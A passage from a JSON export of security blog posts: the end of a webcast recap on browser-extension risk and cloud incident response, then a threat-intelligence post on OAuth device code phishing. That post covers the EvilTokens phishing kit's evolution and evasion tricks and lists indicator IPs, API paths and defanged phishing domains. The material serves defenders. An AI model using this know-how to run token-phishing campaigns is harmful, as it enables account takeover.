relevant.\"",{"data":28430,"content":28431,"nodeType":860},{},[28432,28436,28443],{"data":28433,"marks":28434,"value":28435,"nodeType":864},{},[],"The core problem hasn't moved: ",{"data":28437,"content":28438,"nodeType":883},{"uri":2411},[28439],{"data":28440,"marks":28441,"value":28442,"nodeType":864},{},[],"extensions need broad permissions to function",{"data":28444,"marks":28445,"value":28446,"nodeType":864},{},[],", even for completely legitimate use cases. A password manager needs to read login forms on every website. A dark mode extension needs to modify the DOM on every page. An RSS reader needs access to arbitrary sites. These aren't excessive permissions — they're the minimum required for the extension to do what it advertises.",{"data":28448,"content":28449,"nodeType":860},{},[28450],{"data":28451,"marks":28452,"value":28453,"nodeType":864},{},[],"What's making it worse is the AI adoption wave. Many AI tools ship with browser extension counterparts, and employees are installing them alongside the apps themselves — often without approval. The broader rush to adopt AI tooling is acting as a force multiplier for the shadow SaaS problem that security teams have been struggling with for years, and extensions are a big part of that.",{"data":28455,"content":28456,"nodeType":860},{},[28457],{"data":28458,"marks":28459,"value":28460,"nodeType":864},{},[],"The ways extensions get compromised vary. Users still get tricked into installing something malicious from the start, but legitimate extensions also turn malicious after the fact. Matt outlined several mechanisms: developer accounts getting compromised and attackers pushing malicious updates to the existing user base; extension developers accepting monetization deals that turn out to be data-harvesting operations; and threat actors outright purchasing extensions with established user bases and then pushing malware to them.",{"data":28462,"content":28463,"nodeType":860},{},[28464],{"data":28465,"marks":28466,"value":28467,"nodeType":864},{},[],"The Chrome Web Store doesn't solve this. Matt noted that he uploaded a proof-of-concept extension literally called \"Malicious Extension\" and it made it onto the store. There's some review process, but it's not real-time, it's not continuous, and it doesn't cover updates after initial submission.",{"data":28469,"content":28470,"nodeType":860},{},[28471,28475,28483],{"data":28472,"marks":28473,"value":28474,"nodeType":864},{},[],"Even organizations with a formal extension approval process typically only look at the extension once — at install time. Nobody's reviewing every update to every approved extension. And the risk assessment? \"It's mostly based on vibes. There's very little science here.\" Even at organizations with mature security programs, Matt hasn't seen many that have ",{"data":28476,"content":28478,"nodeType":883},{"uri":28477},"https://pushsecurity.com/blog/browser-extension-management-guide/",[28479],{"data":28480,"marks":28481,"value":28482,"nodeType":864},{},[],"real-time, ongoing visibility",{"data":28484,"marks":28485,"value":28486,"nodeType":864},{},[]," into what's happening inside their employees' browser extensions.",{"data":28488,"content":28489,"nodeType":1005},{},[],{"data":28491,"content":28492,"nodeType":1009},{},[28493],{"data":28494,"marks":28495,"value":28497,"nodeType":864},{},[28496],{"type":899},"7. You have 30 minutes to respond to a cloud intrusion — and revoking the token isn't enough",{"data":28499,"content":28500,"nodeType":860},{},[28501],{"data":28502,"marks":28503,"value":28504,"nodeType":864},{},[],"Matt was direct about the speed benchmark practitioners should be targeting: meaningful containment and eradication within about 30 minutes, because attackers are partially achieving their objectives in 20 to 40 minutes and significantly past the point of no return within an hour.",{"data":28506,"content":28507,"nodeType":860},{},[28508,28512,28519],{"data":28509,"marks":28510,"value":28511,"nodeType":864},{},[],"The data supports this picture. CrowdStrike reports that the average e-crime \"breakout time\" (moving from initial access to high-value assets) is now just 29 minutes, while Google reports that the median time between initial access and hand-off to a secondary group has collapsed from ",{"data":28513,"content":28514,"nodeType":883},{"uri":3837},[28515],{"data":28516,"marks":28517,"value":28518,"nodeType":864},{},[],"over 8 hours in 2022 to just 22 seconds in 2025",{"data":28520,"marks":28521,"value":28522,"nodeType":864},{},[]," — pointing to a highly automated, interconnected, and professionalized threat actor ecosystem.",{"data":28524,"content":28525,"nodeType":860},{},[28526],{"data":28527,"marks":28528,"value":28529,"nodeType":864},{},[],"But speed alone isn't the problem Matt emphasized — it's that the containment actions practitioners think they have don't actually work the way they expect. His anecdote about revoking an IdP OAuth token and assuming the session was killed, only to discover that the 200 downstream SaaS session tokens were still live, will resonate with anyone who has worked an identity-based incident.",{"data":28531,"content":28532,"nodeType":860},{},[28533],{"data":28534,"marks":28535,"value":28536,"nodeType":864},{},[],"You can't move that fast if you're figuring out what your tools can and can't do during the incident. The teams that handle these situations well are the ones that have taken stock of their actual capabilities beforehand — what their IdP revokes, what it doesn't, which SaaS apps have independent session management, where the gaps are. The teams that don't are the ones at \"1 AM with a pager in hand going, 'What the hell do I do now?'\" as Matt described it. \"Ask me how I know.\"",{"data":28538,"content":28539,"nodeType":1005},{},[],{"data":28541,"content":28542,"nodeType":1116},{},[28543],{"data":28544,"content":28545,"nodeType":860},{},[28546,28550,28558],{"data":28547,"marks":28548,"value":28549,"nodeType":864},{},[],"This post is a recap of ",{"data":28551,"content":28553,"nodeType":883},{"uri":28552},"https://pushsecurity.com/resources/security-theatre-vs-security-works",[28554],{"data":28555,"marks":28556,"value":28557,"nodeType":864},{},[],"Security theatre vs. security that works",{"data":28559,"marks":28560,"value":28561,"nodeType":864},{},[],", the third episode in Push Security's webcast series on the state of browser attacks. Watch the full recording for the complete conversation, including live Q&A with Mark and Matt.",{"data":28563,"content":28564,"nodeType":1005},{},[],{"data":28566,"content":28567,"nodeType":860},{},[28568],{"data":28569,"marks":28570,"value":1682,"nodeType":864},{},[],{"data":28572,"content":28573,"nodeType":860},{},[28574],{"data":28575,"marks":28576,"value":1689,"nodeType":864},{},[],{"data":28578,"content":28579,"nodeType":860},{},[28580,28583,28590],{"data":28581,"marks":28582,"value":21,"nodeType":864},{},[],{"data":28584,"content":28585,"nodeType":883},{"uri":1700},[28586],{"data":28587,"marks":28588,"value":8163,"nodeType":864},{},[28589],{"type":1455},{"data":28591,"marks":28592,"value":2719,"nodeType":864},{},[],{"entries":28594},{"hyperlink":28595,"inline":28596,"block":28597},[],[],[28598,28600],{"sys":28599,"__typename":1717,"type":1718,"ctaText":5658,"buttonLabel":5659,"buttonColour":1721,"buttonUrl":5243},{"id":4984},{"sys":28601,"__typename":1724,"title":5248,"caption":5662,"layoutMode":59,"file":28602},{"id":4990},{"url":5664,"width":5665,"height":5666},{"items":28604},[],{},"7 things we learned from our conversation with Matt Johansen","2026-05-21T00:00:00.000Z",{"items":28609},[28610,31614,32695],{"__typename":2059,"sys":28611,"content":28612,"title":31601,"synopsis":31602,"hashTags":59,"publishedDate":31603,"slug":361,"tagsCollection":31604,"authorsCollection":31610},{"id":18517},{"json":28613},{"data":28614,"content":28615,"nodeType":856},{},[28616,28622,28642,28660,28667,28673,28680,28687,28690,28698,28704,28788,28808,28814,28821,28936,28942,28945,28953,28960,28966,28969,28977,29018,29024,29031,29038,29045,29052,29071,29077,29083,29089,29095,29101,29107,29113,29119,29382,29385,29393,29528,29534,29537,29545,29585,29719,29725,29728,29736,29883,29889,29892,29900,29906,30046,30052,30058,30061,30069,30216,30222,30225,30233,30379,30385,30388,30396,30491,30497,30500,30508,30602,30608,30611,30619,30625,30758,30764,30767,30775,30824,30830,30833,30841,30980,30985,30988,30996,31128,31134,31137,31145,31157,31164,31170,31176,31183,31204,31220,31226,31229,31237,31245,31266,31287,31292,31299,31306,31314,31321,31328,31335,31343,31350,31400,31406,31409,31417,31424,31431,31478,31484,31491,31494,31502,31509,31516,31536,31542,31549,31556,31563],{"data":28617,"content":28621,"nodeType":996},{"target":28618},{"sys":28619},{"id":28620,"type":1001,"linkType":1002},"XOFOeNqmRHeiRbkPOJrP1",[],{"data":28623,"content":28624,"nodeType":860},{},[28625,28629,28638],{"data":28626,"marks":28627,"value":28628,"nodeType":864},{},[],"The OAuth 2.0 ",{"data":28630,"content":28632,"nodeType":883},{"uri":28631},"https://www.rfc-editor.org/rfc/rfc8628",[28633],{"data":28634,"marks":28635,"value":28637,"nodeType":864},{},[28636],{"type":1455},"device authorization grant",{"data":28639,"marks":28640,"value":28641,"nodeType":864},{},[]," was designed to enable input-constrained devices to sign-in to apps by asking the user to complete the login on a separate device by entering a code. But today, it’s mainly used when accessing CLI tools, meaning that many users encounter the device code flow daily. ",{"data":28643,"content":28644,"nodeType":860},{},[28645,28648,28656],{"data":28646,"marks":28647,"value":21,"nodeType":864},{},[],{"data":28649,"content":28651,"nodeType":883},{"uri":28650},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/device_code_phishing/description.md",[28652],{"data":28653,"marks":28654,"value":360,"nodeType":864},{},[28655],{"type":1455},{"data":28657,"marks":28658,"value":28659,"nodeType":864},{},[]," attacks designed to exploit this authorization flow are not new — it was among the first techniques that we added to the SaaS attacks matrix back in 2023. But it’s taken until now for it to really enter mainstream adoption. ",{"data":28661,"content":28662,"nodeType":860},{},[28663],{"data":28664,"marks":28665,"value":28666,"nodeType":864},{},[],"The technique tricks a user into issuing access tokens for an attacker-controlled application (not a device, confusingly). Any app that supports device code logins can be a target. Popular examples include Microsoft, Google, Salesforce, GitHub, and AWS. That said, Microsoft is, as always, much more heavily targeted at scale now than any other app.",{"data":28668,"content":28672,"nodeType":996},{"target":28669},{"sys":28670},{"id":28671,"type":1001,"linkType":1002},"Al0pGH8vmOYiufDFiAbt0",[],{"data":28674,"content":28675,"nodeType":860},{},[28676],{"data":28677,"marks":28678,"value":28679,"nodeType":864},{},[],"We’ve always been surprised that attackers haven’t commonly used device code phishing in their standard toolkit, preferring session-stealing AITM phishing and other social engineering attacks like ClickFix. But it’s pretty clear from the recent data that the shift to mainstream adoption has now happened. ",{"data":28681,"content":28682,"nodeType":860},{},[28683],{"data":28684,"marks":28685,"value":28686,"nodeType":864},{},[],"In this blog post, we’ll explore the history of device code phishing, what’s changed for it to enter mainstream adoption, how it works under the hood (with recent examples), and what security teams can do about it. ",{"data":28688,"content":28689,"nodeType":1005},{},[],{"data":28691,"content":28692,"nodeType":1009},{},[28693],{"data":28694,"marks":28695,"value":28697,"nodeType":864},{},[28696],{"type":899},"A brief history of device code phishing",{"data":28699,"content":28703,"nodeType":996},{"target":28700},{"sys":28701},{"id":28702,"type":1001,"linkType":1002},"6u3DgvSGChtTJu7l9I7PG1",[],{"data":28705,"content":28706,"nodeType":860},{},[28707,28711,28720,28724,28733,28737,28746,28750,28759,28763,28772,28775,28784],{"data":28708,"marks":28709,"value":28710,"nodeType":864},{},[],"The technique was first documented in 2020, before Secureworks released the first tooling framework ",{"data":28712,"content":28714,"nodeType":883},{"uri":28713},"https://github.com/secureworks/PhishInSuits",[28715],{"data":28716,"marks":28717,"value":28719,"nodeType":864},{},[28718],{"type":1455},"PhishInSuits",{"data":28721,"marks":28722,"value":28723,"nodeType":864},{},[]," a year later. A host of research followed, including ",{"data":28725,"content":28727,"nodeType":883},{"uri":28726},"https://github.com/secureworks/squarephish",[28728],{"data":28729,"marks":28730,"value":28732,"nodeType":864},{},[28731],{"type":1455},"SquarePhish",{"data":28734,"marks":28735,"value":28736,"nodeType":864},{},[]," v1 (using QR codes to trigger the 15 minute code expiration window), Dirk-Jan Mollema’s ",{"data":28738,"content":28740,"nodeType":883},{"uri":28739},"https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/",[28741],{"data":28742,"marks":28743,"value":28745,"nodeType":864},{},[28744],{"type":1455},"key research",{"data":28747,"marks":28748,"value":28749,"nodeType":864},{},[]," (chaining device code phishing via Microsoft apps into Primary Refresh Token (PRT) acquisition to gain full browser-level access) and Dennis Kniep’s ",{"data":28751,"content":28753,"nodeType":883},{"uri":28752},"https://github.com/denniskniep/DeviceCodePhishing",[28754],{"data":28755,"marks":28756,"value":28758,"nodeType":864},{},[28757],{"type":1455},"DeviceCodePhishing tool",{"data":28760,"marks":28761,"value":28762,"nodeType":864},{},[]," which automates the entire flow with a headless browser. (Other recent noteworthy tools include ",{"data":28764,"content":28766,"nodeType":883},{"uri":28765},"https://github.com/nromsdahl/squarephish2",[28767],{"data":28768,"marks":28769,"value":28771,"nodeType":864},{},[28770],{"type":1455},"SquarePhish2",{"data":28773,"marks":28774,"value":902,"nodeType":864},{},[],{"data":28776,"content":28778,"nodeType":883},{"uri":28777},"https://github.com/praetorian-inc/GitPhish",[28779],{"data":28780,"marks":28781,"value":28783,"nodeType":864},{},[28782],{"type":1455},"GitPhish",{"data":28785,"marks":28786,"value":28787,"nodeType":864},{},[],", so shout out to those too). ",{"data":28789,"content":28790,"nodeType":860},{},[28791,28795,28804],{"data":28792,"marks":28793,"value":28794,"nodeType":864},{},[],"It wasn’t until August 2024 that in-the-wild exploitation was first identified, with Russia-linked campaigns then continuing into 2025 before entering mainstream criminal adoption. This trend has continued to gather momentum in 2026 with ",{"data":28796,"content":28798,"nodeType":883},{"uri":28797},"https://thehackernews.com/2026/03/device-code-phishing-hits-340-microsoft.html",[28799],{"data":28800,"marks":28801,"value":28803,"nodeType":864},{},[28802],{"type":1455},"EvilTokens",{"data":28805,"marks":28806,"value":28807,"nodeType":864},{},[],", the first reported criminal PhaaS kit for device code phishing, already powering massive campaigns after launching in February. ",{"data":28809,"content":28813,"nodeType":996},{"target":28810},{"sys":28811},{"id":28812,"type":1001,"linkType":1002},"6xsfmbYEzpW7CdDiNzO6cu",[],{"data":28815,"content":28816,"nodeType":860},{},[28817],{"data":28818,"marks":28819,"value":28820,"nodeType":864},{},[],"Some of the noteworthy in-the-wild campaigns include:",{"data":28822,"content":28823,"nodeType":941},{},[28824,28857,28877],{"data":28825,"content":28826,"nodeType":945},{},[28827],{"data":28828,"content":28829,"nodeType":860},{},[28830,28834,28842,28845,28853],{"data":28831,"marks":28832,"value":28833,"nodeType":864},{},[],"Storm-2372, tracked by ",{"data":28835,"content":28837,"nodeType":883},{"uri":28836},"https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/",[28838],{"data":28839,"marks":28840,"value":28841,"nodeType":864},{},[],"Microsoft",{"data":28843,"marks":28844,"value":902,"nodeType":864},{},[],{"data":28846,"content":28848,"nodeType":883},{"uri":28847},"https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/",[28849],{"data":28850,"marks":28851,"value":28852,"nodeType":864},{},[],"Volexity",{"data":28854,"marks":28855,"value":28856,"nodeType":864},{},[],", linked to multiple Russia-aligned clusters, combining spear-phishing and social engineering with device code phishing payloads against strategic intelligence targets.",{"data":28858,"content":28859,"nodeType":945},{},[28860],{"data":28861,"content":28862,"nodeType":860},{},[28863,28867,28873],{"data":28864,"marks":28865,"value":28866,"nodeType":864},{},[],"The massive Salesforce campaign operated by ",{"data":28868,"content":28869,"nodeType":883},{"uri":6237},[28870],{"data":28871,"marks":28872,"value":6242,"nodeType":864},{},[],{"data":28874,"marks":28875,"value":28876,"nodeType":864},{},[]," (SLH) combined vishing with a device code phishing payload targeting Salesforce. The attacks morphed into a broader supply chain campaign using stolen credentials, ultimately resulting in 1000+ organizations being compromised and over 1.5 billion stolen records claimed. ",{"data":28878,"content":28879,"nodeType":945},{},[28880],{"data":28881,"content":28882,"nodeType":860},{},[28883,28887,28895,28899,28908,28911,28920,28924,28932],{"data":28884,"marks":28885,"value":28886,"nodeType":864},{},[],"A massive spike in activity in late 2025 and 2026. This includes ",{"data":28888,"content":28890,"nodeType":883},{"uri":28889},"https://www.proofpoint.com/us/blog/threat-insight/access-granted-phishing-device-code-authorization-account-takeover",[28891],{"data":28892,"marks":28893,"value":28894,"nodeType":864},{},[],"multiple threat clusters",{"data":28896,"marks":28897,"value":28898,"nodeType":864},{},[]," tracked using device code phishing techniques, more ",{"data":28900,"content":28902,"nodeType":883},{"uri":28901},"https://www.bleepingcomputer.com/news/security/hackers-target-microsoft-entra-accounts-in-device-code-vishing-attacks/",[28903],{"data":28904,"marks":28905,"value":28907,"nodeType":864},{},[28906],{"type":1455},"criminal operations linked to SLH",{"data":28909,"marks":28910,"value":2232,"nodeType":864},{},[],{"data":28912,"content":28914,"nodeType":883},{"uri":28913},"https://newtonpaul.com/blog/device-code-phish-update/",[28915],{"data":28916,"marks":28917,"value":28919,"nodeType":864},{},[28918],{"type":1455},"hundreds of organizations being targeted via PhaaS architecture,",{"data":28921,"marks":28922,"value":28923,"nodeType":864},{},[]," which looks to be the same campaign as the recently uncovered EvilTokens PhaaS reported by ",{"data":28925,"content":28926,"nodeType":883},{"uri":7591},[28927],{"data":28928,"marks":28929,"value":28931,"nodeType":864},{},[28930],{"type":1455},"Huntress",{"data":28933,"marks":28934,"value":28935,"nodeType":864},{},[]," (featuring abuse of the Railway PaaS platform). ",{"data":28937,"content":28941,"nodeType":996},{"target":28938},{"sys":28939},{"id":28940,"type":1001,"linkType":1002},"3WLt6qLCK8CSwr0QZxZiMv",[],{"data":28943,"content":28944,"nodeType":1005},{},[],{"data":28946,"content":28947,"nodeType":1009},{},[28948],{"data":28949,"marks":28950,"value":28952,"nodeType":864},{},[28951],{"type":899},"What we’re seeing in the wild",{"data":28954,"content":28955,"nodeType":860},{},[28956],{"data":28957,"marks":28958,"value":28959,"nodeType":864},{},[],"As mentioned, we’ve also seen a huge spike in device code phishing activity this year, with multiple kits, page designs, and lure types. We’ve now identified 14+ distinct kits in circulation in the wild, with EvilTokens being the most prevalent. It’s clear that attackers are both spinning up their own kits and creative derivatives of others — we’ve seen kits that are visually similar to EvilTokens (close enough to be clones or forks) but with very different backends, for example AWS, Digital Ocean, 2cloud, and more. ",{"data":28961,"content":28965,"nodeType":996},{"target":28962},{"sys":28963},{"id":28964,"type":1001,"linkType":1002},"nJCbTw85GKXdqrlIkzZwi",[],{"data":28967,"content":28968,"nodeType":1005},{},[],{"data":28970,"content":28971,"nodeType":1312},{},[28972],{"data":28973,"marks":28974,"value":28976,"nodeType":864},{},[28975],{"type":899},"“ANTIBOT” (EvilTokens)",{"data":28978,"content":28979,"nodeType":860},{},[28980,28983,28990,28993,29002,29006,29014],{"data":28981,"marks":28982,"value":21,"nodeType":864},{},[],{"data":28984,"content":28985,"nodeType":883},{"uri":7591},[28986],{"data":28987,"marks":28988,"value":28931,"nodeType":864},{},[28989],{"type":1455},{"data":28991,"marks":28992,"value":3731,"nodeType":864},{},[],{"data":28994,"content":28996,"nodeType":883},{"uri":28995},"https://blog.sekoia.io/new-widespread-eviltokens-kit-device-code-phishing-as-a-service-part-1/",[28997],{"data":28998,"marks":28999,"value":29001,"nodeType":864},{},[29000],{"type":1455},"Sekoia",{"data":29003,"marks":29004,"value":29005,"nodeType":864},{},[],", and researcher ",{"data":29007,"content":29008,"nodeType":883},{"uri":28913},[29009],{"data":29010,"marks":29011,"value":29013,"nodeType":864},{},[29012],{"type":1455},"Paul Newton",{"data":29015,"marks":29016,"value":29017,"nodeType":864},{},[]," have already done a great job of providing IOCs for the recent EvilTokens activity spike, including multiple backend Railway IPs in authentication events. ",{"data":29019,"content":29023,"nodeType":996},{"target":29020},{"sys":29021},{"id":29022,"type":1001,"linkType":1002},"1XNviq5OvMf5TEAc59F6g5",[],{"data":29025,"content":29026,"nodeType":860},{},[29027],{"data":29028,"marks":29029,"value":29030,"nodeType":864},{},[],"Beyond the most widely observed implementation featuring a Cloudflare Workers frontend and Railway backend for authentication, we’ve also tracked additional versions of EvilTokens in circulation since January 2026 (many of which remain live along with the current “production” version of the kit). ",{"data":29032,"content":29033,"nodeType":860},{},[29034],{"data":29035,"marks":29036,"value":29037,"nodeType":864},{},[],"You can see an evolution of the kit in the videos and screenshots below, from early precursors seen in mid-January, the first mentions of ANTIBOT in the page code in late-January, the parallel development of a “Courts Access” fork that lacks the ANTIBOT references, and finally production EvilTokens in February. One of the key threads between the versions is the presence of a generateFallbackCode() JS function and use of a /generate-codes API call. ",{"data":29039,"content":29040,"nodeType":860},{},[29041],{"data":29042,"marks":29043,"value":29044,"nodeType":864},{},[],"Early implementations were quite different, for example using ScrapingBee to generate the displayed code, and varied hosting on vercel, fastly, edgeone, and others. ",{"data":29046,"content":29047,"nodeType":860},{},[29048],{"data":29049,"marks":29050,"value":29051,"nodeType":864},{},[],"After initially appearing on custom domains, the production version is now predominantly hosted on Cloudflare Workers, as per the broader tracking of the campaign. The descriptive HTML comments around ANTIBOT functions have also been removed in later versions. ",{"data":29053,"content":29054,"nodeType":860},{},[29055,29059,29067],{"data":29056,"marks":29057,"value":29058,"nodeType":864},{},[],"The production version of EvilTokens showcases common ",{"data":29060,"content":29061,"nodeType":883},{"uri":7124},[29062],{"data":29063,"marks":29064,"value":29066,"nodeType":864},{},[29065],{"type":1455},"detection evasion techniques",{"data":29068,"marks":29069,"value":29070,"nodeType":864},{},[]," we've come to associate with PhaaS kits in the AiTM space — using multiple redirects through trusted sites before serving the malicious page, using bot protection to block security tools from analyzing the page, and so on. It also uses a pop-up window for the device code entry rather than a redirect, reducing the friction for the victim (it looks pretty convincing, too).",{"data":29072,"content":29076,"nodeType":996},{"target":29073},{"sys":29074},{"id":29075,"type":1001,"linkType":1002},"73rNOIEDPfP5IJwpFaxVc2",[],{"data":29078,"content":29082,"nodeType":996},{"target":29079},{"sys":29080},{"id":29081,"type":1001,"linkType":1002},"5BJSvOQUW9UpsQtoDNtgTC",[],{"data":29084,"content":29088,"nodeType":996},{"target":29085},{"sys":29086},{"id":29087,"type":1001,"linkType":1002},"3dbePPxVb4h4SauGg3glIL",[],{"data":29090,"content":29094,"nodeType":996},{"target":29091},{"sys":29092},{"id":29093,"type":1001,"linkType":1002},"1UOLcmNQvOsL5tdLSVuviq",[],{"data":29096,"content":29100,"nodeType":996},{"target":29097},{"sys":29098},{"id":29099,"type":1001,"linkType":1002},"55XRqLSwUUi2D4ZVpJboml",[],{"data":29102,"content":29106,"nodeType":996},{"target":29103},{"sys":29104},{"id":29105,"type":1001,"linkType":1002},"5wg5yr2Lo8t3f72ZV815c",[],{"data":29108,"content":29112,"nodeType":996},{"target":29109},{"sys":29110},{"id":29111,"type":1001,"linkType":1002},"35cowlL6i3rkGXOGmSxlI1",[],{"data":29114,"content":29115,"nodeType":860},{},[29116],{"data":29117,"marks":29118,"value":21,"nodeType":864},{},[],{"data":29120,"content":29121,"nodeType":4845},{},[29122,29146,29229,29281,29305],{"data":29123,"content":29124,"nodeType":4581},{},[29125,29136],{"data":29126,"content":29127,"nodeType":4569},{},[29128],{"data":29129,"content":29130,"nodeType":860},{},[29131],{"data":29132,"marks":29133,"value":29135,"nodeType":864},{},[29134],{"type":899},"Frontend infrastructure",{"data":29137,"content":29138,"nodeType":4569},{},[29139],{"data":29140,"content":29141,"nodeType":860},{},[29142],{"data":29143,"marks":29144,"value":29145,"nodeType":864},{},[],"Workers.dev, vercel.app, github.io, fastly.net, edgeone.dev",{"data":29147,"content":29148,"nodeType":4581},{},[29149,29160],{"data":29150,"content":29151,"nodeType":4569},{},[29152],{"data":29153,"content":29154,"nodeType":860},{},[29155],{"data":29156,"marks":29157,"value":29159,"nodeType":864},{},[29158],{"type":899},"Backend infrastructure",{"data":29161,"content":29162,"nodeType":4569},{},[29163,29193],{"data":29164,"content":29165,"nodeType":860},{},[29166,29171,29175,29180,29184,29189],{"data":29167,"marks":29168,"value":29170,"nodeType":864},{},[29169],{"type":899},"Example IP: (V3) ",{"data":29172,"marks":29173,"value":29174,"nodeType":864},{},[],"162.220.232.71 (Railway AS400940) ",{"data":29176,"marks":29177,"value":29179,"nodeType":864},{},[29178],{"type":899},"(V2)",{"data":29181,"marks":29182,"value":29183,"nodeType":864},{},[]," 71.11.42.193 ",{"data":29185,"marks":29186,"value":29188,"nodeType":864},{},[29187],{"type":899},"(V1) ",{"data":29190,"marks":29191,"value":29192,"nodeType":864},{},[],"72.218.25.107",{"data":29194,"content":29195,"nodeType":860},{},[29196,29201,29204,29209,29213,29217,29221,29225],{"data":29197,"marks":29198,"value":29200,"nodeType":864},{},[29199],{"type":899},"Backend User Agent:",{"data":29202,"marks":29203,"value":1171,"nodeType":864},{},[],{"data":29205,"marks":29206,"value":29208,"nodeType":864},{},[29207],{"type":899},"(V3) ",{"data":29210,"marks":29211,"value":29212,"nodeType":864},{},[],"node, ",{"data":29214,"marks":29215,"value":29179,"nodeType":864},{},[29216],{"type":899},{"data":29218,"marks":29219,"value":29220,"nodeType":864},{},[],", Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683 Safari/537.36 OPR/57.0.3098.91 ",{"data":29222,"marks":29223,"value":29188,"nodeType":864},{},[29224],{"type":899},{"data":29226,"marks":29227,"value":29228,"nodeType":864},{},[],"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 OPR/56.0.3051.52 ",{"data":29230,"content":29231,"nodeType":4581},{},[29232,29243],{"data":29233,"content":29234,"nodeType":4569},{},[29235],{"data":29236,"content":29237,"nodeType":860},{},[29238],{"data":29239,"marks":29240,"value":29242,"nodeType":864},{},[29241],{"type":899},"Network paths",{"data":29244,"content":29245,"nodeType":4569},{},[29246,29253,29260,29267,29274],{"data":29247,"content":29248,"nodeType":860},{},[29249],{"data":29250,"marks":29251,"value":29252,"nodeType":864},{},[],"/api/rate-limit ",{"data":29254,"content":29255,"nodeType":860},{},[29256],{"data":29257,"marks":29258,"value":29259,"nodeType":864},{},[],"/api/fingerprint ",{"data":29261,"content":29262,"nodeType":860},{},[29263],{"data":29264,"marks":29265,"value":29266,"nodeType":864},{},[],"/api/captcha-verify ",{"data":29268,"content":29269,"nodeType":860},{},[29270],{"data":29271,"marks":29272,"value":29273,"nodeType":864},{},[],"/api/init /api/generate-code ",{"data":29275,"content":29276,"nodeType":860},{},[29277],{"data":29278,"marks":29279,"value":29280,"nodeType":864},{},[],"/api/check-auth",{"data":29282,"content":29283,"nodeType":4581},{},[29284,29295],{"data":29285,"content":29286,"nodeType":4569},{},[29287],{"data":29288,"content":29289,"nodeType":860},{},[29290],{"data":29291,"marks":29292,"value":29294,"nodeType":864},{},[29293],{"type":899},"Lure themes",{"data":29296,"content":29297,"nodeType":4569},{},[29298],{"data":29299,"content":29300,"nodeType":860},{},[29301],{"data":29302,"marks":29303,"value":29304,"nodeType":864},{},[],"Various MS lures (e.g. Outlook, SharePoint, Teams) DocuSign, Adobe",{"data":29306,"content":29307,"nodeType":4581},{},[29308,29319],{"data":29309,"content":29310,"nodeType":4569},{},[29311],{"data":29312,"content":29313,"nodeType":860},{},[29314],{"data":29315,"marks":29316,"value":29318,"nodeType":864},{},[29317],{"type":899},"Example Domain",{"data":29320,"content":29321,"nodeType":4569},{},[29322,29334,29346,29358,29370],{"data":29323,"content":29324,"nodeType":860},{},[29325,29330],{"data":29326,"marks":29327,"value":29329,"nodeType":864},{},[29328],{"type":899},"Precursor A:",{"data":29331,"marks":29332,"value":29333,"nodeType":864},{},[]," teams-zpfvwnpxuc[.]edgeone.dev",{"data":29335,"content":29336,"nodeType":860},{},[29337,29342],{"data":29338,"marks":29339,"value":29341,"nodeType":864},{},[29340],{"type":899},"Precursor B: ",{"data":29343,"marks":29344,"value":29345,"nodeType":864},{},[],"authenticate-m365-accountsecurity-m-pi[.]vercel.app",{"data":29347,"content":29348,"nodeType":860},{},[29349,29354],{"data":29350,"marks":29351,"value":29353,"nodeType":864},{},[29352],{"type":899},"Courts Access: ",{"data":29355,"marks":29356,"value":29357,"nodeType":864},{},[],"secure-systems-validations-courts[.]vercel.app",{"data":29359,"content":29360,"nodeType":860},{},[29361,29366],{"data":29362,"marks":29363,"value":29365,"nodeType":864},{},[29364],{"type":899},"Early ANTIBOT:",{"data":29367,"marks":29368,"value":29369,"nodeType":864},{},[]," interface-auth-en-useast[.]global.ssl.fastly.net",{"data":29371,"content":29372,"nodeType":860},{},[29373,29378],{"data":29374,"marks":29375,"value":29377,"nodeType":864},{},[29376],{"type":899},"Production ANTIBOT: ",{"data":29379,"marks":29380,"value":29381,"nodeType":864},{},[],"index-z059-document-pending-reviewsign-xlss7994824[.]awalizer[.]workers.dev",{"data":29383,"content":29384,"nodeType":1005},{},[],{"data":29386,"content":29387,"nodeType":1312},{},[29388],{"data":29389,"marks":29390,"value":29392,"nodeType":864},{},[29391],{"type":899},"“SHAREFILE”",{"data":29394,"content":29395,"nodeType":4845},{},[29396,29419,29458,29481,29504],{"data":29397,"content":29398,"nodeType":4581},{},[29399,29409],{"data":29400,"content":29401,"nodeType":4569},{},[29402],{"data":29403,"content":29404,"nodeType":860},{},[29405],{"data":29406,"marks":29407,"value":29135,"nodeType":864},{},[29408],{"type":899},{"data":29410,"content":29411,"nodeType":4569},{},[29412],{"data":29413,"content":29414,"nodeType":860},{},[29415],{"data":29416,"marks":29417,"value":29418,"nodeType":864},{},[],"No hosting markers visible.",{"data":29420,"content":29421,"nodeType":4581},{},[29422,29432],{"data":29423,"content":29424,"nodeType":4569},{},[29425],{"data":29426,"content":29427,"nodeType":860},{},[29428],{"data":29429,"marks":29430,"value":29159,"nodeType":864},{},[29431],{"type":899},{"data":29433,"content":29434,"nodeType":4569},{},[29435,29447],{"data":29436,"content":29437,"nodeType":860},{},[29438,29443],{"data":29439,"marks":29440,"value":29442,"nodeType":864},{},[29441],{"type":899},"Example IP:",{"data":29444,"marks":29445,"value":29446,"nodeType":864},{},[]," 147.45.60.47 (Global Connectivity Solutions LLP AS215540)",{"data":29448,"content":29449,"nodeType":860},{},[29450,29454],{"data":29451,"marks":29452,"value":29200,"nodeType":864},{},[29453],{"type":899},{"data":29455,"marks":29456,"value":29457,"nodeType":864},{},[]," node",{"data":29459,"content":29460,"nodeType":4581},{},[29461,29471],{"data":29462,"content":29463,"nodeType":4569},{},[29464],{"data":29465,"content":29466,"nodeType":860},{},[29467],{"data":29468,"marks":29469,"value":29242,"nodeType":864},{},[29470],{"type":899},{"data":29472,"content":29473,"nodeType":4569},{},[29474],{"data":29475,"content":29476,"nodeType":860},{},[29477],{"data":29478,"marks":29479,"value":29480,"nodeType":864},{},[],"POST /api/device/start  POST 